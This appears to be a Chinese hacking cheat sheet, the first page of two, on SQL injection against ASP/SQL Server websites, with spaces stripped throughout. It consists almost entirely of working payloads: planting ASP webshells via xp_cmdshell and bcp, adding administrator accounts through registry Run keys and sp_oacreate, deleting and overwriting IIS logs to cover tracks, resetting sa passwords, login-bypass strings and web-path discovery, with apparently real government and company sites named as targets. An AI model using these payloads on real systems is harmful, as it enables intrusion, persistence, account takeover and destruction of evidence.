1、用^转义字符来写ASP(一句话木马)文件的方法:

?http://192.168.1.5/display.asp?keyno=1881;execmaster.dbo.xp_cmdshell'echo^<scriptlanguage=VBScriptrunat=server^>executerequest^("l"^)^</script^>>c:mu.asp';--

?echo^<%execute^(request^("l"^)^)%^>>c:mu.asp

2、显示SQL系统版本：

?http://192.168.1.5/display.asp?keyno=188and1=(select@@VERSION)

?http://www.xxxx.com/FullStory.asp?id=1and1=convert(int,@@version)--

MicrosoftVBScript编译器错误错误'800a03f6'

缺少'End'

/iisHelp/common/500-100.asp，行242

MicrosoftOLEDBProviderforODBCDrivers错误'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'MicrosoftSQLServer2000-8.00.760(IntelX86)Dec17200214:22:05Copyright(c)1988-2003MicrosoftCorporationDesktopEngineonWindowsNT5.0(Build2195:ServicePack4)'toacolumnofdatatypeint.

/display.asp，行17

3、在检测索尼中国的网站漏洞时，分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询，例如“select*frommytablewhereidin(1)”，括号中的值就是我们提交的数据，它的结果与使用“select*frommytablewhereid=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“)and1=1and1in(1”后原来的SQL语句就变成了“select*frommytablewhereidin(1)and1=1and1in(1)”，这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧，聪明的你一定想到了还有“包含字符型”呢。对了，它就是由于类似“select*frommytablewherenamein('firstsee')”的查询语句造成的。

4、判断xp_cmdshell扩展存储过程是否存在：

http://192.168.1.5/display.asp?keyno=188and1=(selectcount(*)FROMmaster.dbo.sysobjectswherextype='X'ANDname='xp_cmdshell')

恢复xp_cmdshell扩展存储的命令：

http://www.test.com/news/show1.asp?NewsId=125272

;execmaster.dbo.sp_addextendedproc'xp_cmdshell','e:inetputwebxplog70.dll';--

5、向启动组中写入命令行和执行程序：

http://192.168.1.5/display.asp?keyno=188;EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun','help1','REG_SZ','cmd.exe/cnetusertestptlove/add'

6、查看当前的数据库名称：

?http://192.168.1.5/display.asp?keyno=188and0<>db_name(n)n改成0,1,2,3……就可以跨库了

?http://www.xxxx.com/FullStory.asp?id=1and1=convert(int,db_name())--

MicrosoftVBScript编译器错误错误'800a03f6'

缺少'End'

/iisHelp/common/500-100.asp，行242

MicrosoftOLEDBProviderforODBCDrivers错误'80040e07'

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'huidahouse'toacolumnofdatatypeint.

/display.asp，行17

7、列出当前所有的数据库名称：

select*frommaster.dbo.sysdatabases列出所有列的记录

selectnamefrommaster.dbo.sysdatabases仅列出name列的记录

8、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令：

createTABLEmytmp(infoVARCHAR(400),IDintIDENTITY(1,1)NOTNULL)

DECLARE@shellINT

DECLARE@fsoINT

DECLARE@fileINT

DECLARE@isEndBIT

DECLARE@outVARCHAR(400)

EXECsp_oacreate'wscript.shell',@shelloutput

EXECsp_oamethod@shell,'run',null,'cmd.exe/cdirc:>c:temp.txt','0','true'

--注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。

EXECsp_oacreate'scripting.filesystemobject',@fsooutput

EXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'

--因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌

WHILE@shell>0

BEGIN

EXECsp_oamethod@file,'Readline',@outout

insertINTOMYTMP(info)VALUES(@out)

EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout

IF@isEnd=1BREAK

ELSECONTINUE

END

dropTABLEMYTMP

----------

DECLARE@shellINT

DECLARE@fsoINT

DECLARE@fileINT

DECLARE@isEndBIT

DECLARE@outVARCHAR(400)

EXECsp_oacreate'wscript.shell',@shelloutput

EXECsp_oamethod@shell,'run',null,'cmd.exe/ccscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:WINNTsystem32idq.dll""C:WINNTsystem32inetsrvhttpext.dll""C:WINNTsystem32inetsrvhttpodbc.dll""C:WINNTsystem32inetsrvssinc.dll""C:WINNTsystem32msw3prt.dll""C:winntsystem32inetsrvasp.dll">c:temp.txt','0','true'

EXECsp_oacreate'scripting.filesystemobject',@fsooutput

EXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'

WHILE@shell>0

BEGIN

EXECsp_oamethod@file,'Readline',@outout

insertINTOMYTMP(info)VALUES(@out)

EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout

IF@isEnd=1BREAK

ELSECONTINUE

END

以下是一行里面将WEB用户加到管理员组中：

DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:WINNTsystem32idq.dll""C:WINNTsystem32inetsrvhttpext.dll""C:WINNTsystem32inetsrvhttpodbc.dll""C:WINNTsystem32inetsrvssinc.dll""C:WINNTsystem32msw3prt.dll""C:winntsystem32inetsrvasp.dll">c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

以下是一行中执行EXE程序：

DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccscript.exeE:bjeea.net.cnscoreftsimagesiis.vbslh1c:>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

SQL下三种执行CMD命令的方法：

先删除7.18号日志：

(1)execmaster.dbo.xp_cmdshell'delC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt'

(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/cdelC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

（3）首先开启jet沙盘模式，通过扩展存储过程xp_regwrite修改注册表实现，管理员修改注册表不能预防的原因。出于安全原因，默认沙盘模式未开启，这就是为什么需要xp_regwrite的原因，而xp_regwrite至少需要DB_OWNER权限，为了方便，这里建议使用sysadmin权限测试：

?execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1

注：

0禁止一切（默认）

1使能访问ACCESS，但是禁止其它

2禁止访问ACCESS，但是使能其他

3使能一切

?这里仅给出sysadmin权限下使用的命令：

select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:winntsystem32iasias.mdb','selectshell("cmd.exe/cnetuseradminadmin1234/add")')

?建立链接数据库'L0op8ack'参考命令：

EXECsp_addlinkedserver'L0op8ack','OLEDBProviderforJet','Microsoft.Jet.OLEDB.4.0','c:windowssystem32iasias.mdb'

?如何使用链接数据库：

使用这个方式可以执行，但是很不幸，DB_OWNER权限是不够的，需要至少sysadmin权限或者securityadmin+setupadmin权限组合

sp_addlinkedserver需要sysadmin或setupadmin权限

sp_addlinkedsrvlogin需要sysadmin或securityadmin权限

最终发现，还是sa权限或者setupadmin+securityadmin权限帐户才能使用，

一般没有哪个管理员这么设置普通帐户权限的

实用性不强，仅作为一个学习总结吧

大致过程如下，如果不是sysadmin，那么IAS.mdb权限验证会出错，

我测试的时候授予hacker这个用户setupadmin+securityadmin权限，使用ias.mdb失败

需要找一个一般用户可访问的mdb才可以：

?新建链接服务器”L0op8ack”:EXECsp_addlinkedserver'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:winntsystem32iasias.mdb';--

?execsp_addlinkedsrvlogin'L0op8ack','false';--或

execsp_addlinkedsrvlogin'L0op8ack','false',NULL,'test1','ptlove';--

?select*FROMOPENQUERY(L0op8ack,'selectshell("cmd.exe/cnetuser")');--

?execsp_droplinkedsrvlogin'L0op8ack','false';--

?execsp_dropserver'L0op8ack';--

再考贝一个其它文件来代替7.18日文件：

(1)execmaster.dbo.xp_cmdshell'copyC:winntsystem32logfilesW3SVC5ex050716.logC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt'

(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/ccopyC:winntsystem32logfilesW3SVC5ex050716.logC:winntsystem32logfilesW3SVC5ex050718.log>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

(3)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreate'wscript.shell',@shelloutputEXECsp_oamethod@shell,'run',null,'cmd.exe/cnetuser>c:temp.txt','0','true'EXECsp_oacreate'scripting.filesystemobject',@fsooutputEXECsp_oamethod@fso,'opentextfile',@fileout,'c:temp.txt'WHILE@shell>0BEGINEXECsp_oamethod@file,'Readline',@outoutinsertINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,'AtEndOfStream',@isEndoutIF@isEnd=1BREAKELSECONTINUEEND

9、用update来更新表中的数据：

HTTP://xxx.xxx.xxx/abc.asp?p=YY;updateupload.dbo.adminsetpwd='a0b923820dcc509a'whereusername='www';--

www用户密码的16位MD5值为：a0b923820dcc509a，即把密码改成1；

32位MD5值为：，密码为

10、利用表内容导成文件功能

SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个ASP木马，然后用BCP命令导出形成ASP文件。

命令行格式如下：

bcp"select*fromtemp"queryoutc:inetpubwwwrootruncommand.asp–c–Slocalhost–Usa–Pupload('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个runcommand.asp的木马)。

11、创建表、播入数据和读取数据的方法

?创建表：

'and1=1unionselect1,2,3,4;createtable[dbo].[cyfd]([gyfd][char](255))--

?往表里播入数据：

'and1=1unionselect1,2,3,4;DECLARE@resultvarchar(255)selecttop1namefromupload.dbo.sysobjectswherextype='U'andstatus>0,@resultoutputinsertintocyfd(gyfd)values(@result);--

'and1=1unionselect1,2,3,4;DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintocyfd(gyfd)values(@result);--

?从表里读取数据：

'and1=(selectcount(*)fromcyfdwheregyfd>1)--

?删除临时表：

';droptablecyfd;--

12、通过SQL语句直接更改sa的密码：

?updatemaster.dbo.sysxloginssetpassword=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FCwheresid=0x01,这样sa的密码就被我们改成了111111拉。呵呵，解决的方法就是把sa给删拉。，怎么删可以参考我的《完全删除sa这个后门》。

?查看本机所有的数据库用户名：

select*frommaster.dbo.sysxlogins

selectname,sid,password,dbidfrommaster.dbo.sysxlogins

?更改sa口令方法：用sql综合利用工具连接后，执行命令：

execsp_passwordNULL,'新密码','sa'

13、查询dvbbs库中所有的表名和表结构：

?select*fromdvbbs.dbo.sysobjectswherextype='U'andstatus>0

?select*fromdvbbs.dbo.syscolumnswhereid=1426104121

14、手工备份当前数据库：

完全备份：

;declare@asysname,@snvarchar(4000)

select@a=db_name(),@s='c:/db1'backupdatabase@atodisk=@sWITHformAT--

差异备份：

;declare@asysname,@snvarchar(4000)

select@a=db_name(),@s='c:/db1'backupdatabase@atodisk=@sWITHDIFFERENTIAL,formAT—

15、添加和删除一个SA权限的用户test：

execmaster.dbo.sp_addlogintest,ptlove

execmaster.dbo.sp_addsrvrolemembertest,sysadmin

cmd.exe/cisql-E/Ualma/P/iK:test.qry

16、select*fromChouYFD.dbo.sysobjectswherextype='U'andstatus>0

就可以列出库ChouYFD中所有的用户建立的表名。

selectname,idfromChouYFD.dbo.sysobjectswherextype='U'andstatus>0

17、

?http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select*fromrdweb.dbo.syscolumns（whereid=1234）

列出rdweb库中所有表中的字段名称

?select*fromdvbbs.dbo.syscolumnswhereid=5575058

列出库dvbbs中表id=5575058的所有字段名

18、删除记录命令：deletefromDv_topicwhereboardid=5andtopicid=7978

19、绕过登录验证进入后台的方法整理：

1)'or''='

2)'or1=1--

3)'or'a'='a--

4)'or'='or'

5)"or1=1--

6）or1=1--

7）or'a='a

8）"or"a"="a

9）')or('a'='a

10）")or("a"="a

11））or(1=1

12)'or''='

13)人气%'and1=1and'%'='

20、寻找网站路径的方法汇总：

1）查看WEB网站安装目录命令：

?cscriptc:inetpubadminscriptsadsutil.vbsenumw3svc/2/root>c:test1.txt（将2换成1、3、4、5试试）

typec:test1.txt

delc:test1.txt

在NBSI下可以直接显示运行结果，所以不用导出到文件

2）在网站上随便找到一个图片的名字123.jpg

然后写进批处理程序123.bat:

d:

dir123.jpg/s>c:123.txt

e:

dir123.jpg/s>>c:123.txt

f:

dir123.jpg/s>>c:123.txt

执行后typec:123.txt

这样来分析网站的路径

3）SQL服务器和网站服务器在同一个服务器上，好了是可以执行命令是吧？

将执行命令输出结果到

%windir%helpiishelpcommon404b.htm或者500.asp

注意输出前Backup这两个文件

如：

dirc:>%windir%helpiishelpcommon404b.htm

然后随便输入一个文件来访问：http://目标ip/2.asp

4）针对win2000系统：xp_regread读取HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesW3SVCParametersVirtualRoots获取WEB路径

2003系统：xp_regread读取，未找到方法

如：

（1）新建一个表cyfd(字段为gyfd)：http://www.cnwill.com/NewsShow.aspx?id=4844;createtable[dbo].[cyfd]([gyfd][char](255))--

（2）把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintocyfd(gyfd)values(@result);--

（3）还是让他不匹配，显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844and1=(selectcount(*)fromcyfdwheregyfd>1)

Source:.NetSqlClientDataProvider

Description:将varchar值'Y:Web烟台人才热线后台管理系统,,201'转换为数据类型为int的列时发生语法错误。

TargeSite:BooleanRead()哈哈哈。。路径暴露了。。

（4）接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;droptablecyfd;--

5）用regedit命令导出注册表，将导出的结果保存的路径到%windir%helpiishelpcommon404b.htm或者500.asp页面

regedit命令说明：

Regedit/L:system/R:user/Efilename.regRegpath

参数含义：

/L：system指定System.dat文件所在的路径。

/R：user指定User.dat文件所在的路径。

/E：此参数指定注册表编辑器要进行导出注册表操作，在此参数后面空一格，输入导出注册表的文件名。

Regpath：用来指定要导出哪个注册表的分支，如果不指定，则将导出全部注册表分支。在这些参数中，"/L：system"和"/R：user"参数是可选项，如果不使用这两个参数，注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS，那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径，否则注册表编辑器将无法找到它们。比如说，如果通过启动盘进入DOS，则备份注册表的命令是"Regedit/L:C:windows/R:C:windows/eregedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下，其文件名为"regedit.reg"。而如果输入的是"regedit/ED:regedit.reg"这条命令，则是说把整个注册表备份到D盘的根目录下（省略了"/L"和"/R"参数），其文件名为"Regedit.reg"。

regedit/sc:adam.reg（导入c:adam.reg文件至注册表）

regedit/ec:web.reg（备份全部注册内容到c:web.reg中）

针对win2000系统：C:>regedit/e%windir%helpiishelpcommon404b.htm"HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesW3SVCParametersVirtualRoots"

然后http://目标IP/2.asp

针对win2003系统：没有找到，希望找到的朋友公布出来一起讨论。

6）虚拟主机下%SystemRoot%system32inetsrvMetaBack下的文件是iis的备份文件，是允许web用户访问的，如果你的iis备份到这里，用webshell下载下来后用记事本打开，可以获取对应的域名和web绝对路径。

7）SQL注入建立虚拟目录，有dbo权限下找不到web绝对路径的一种解决办法：

我们很多情况下都遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错：

?建立虚拟目录win,指向c:winntsystem32：execmaster.dbo.xp_cmdshell'cscriptC:inetpubAdminScriptsmkwebdir.vbs-clocalhost-w"l"-v"win","c:winntsystem32"'

?让win目录具有解析asp脚本权限：execmaster.dbo.xp_cmdshell'cscriptC:inetpubAdminScriptsadsutil.vbssetw3svc/1/root/win/Accessexecute"true"–s:'

?删除虚拟目录win：execmaster.dbo.xp_cmdshell'cscriptC:inetpubAdminScriptsadsutil.vbsdeletew3svc/1/root/win/'

?测试：http://127.0.0.1/win/test.asp

当前1/2页12下一页阅读全文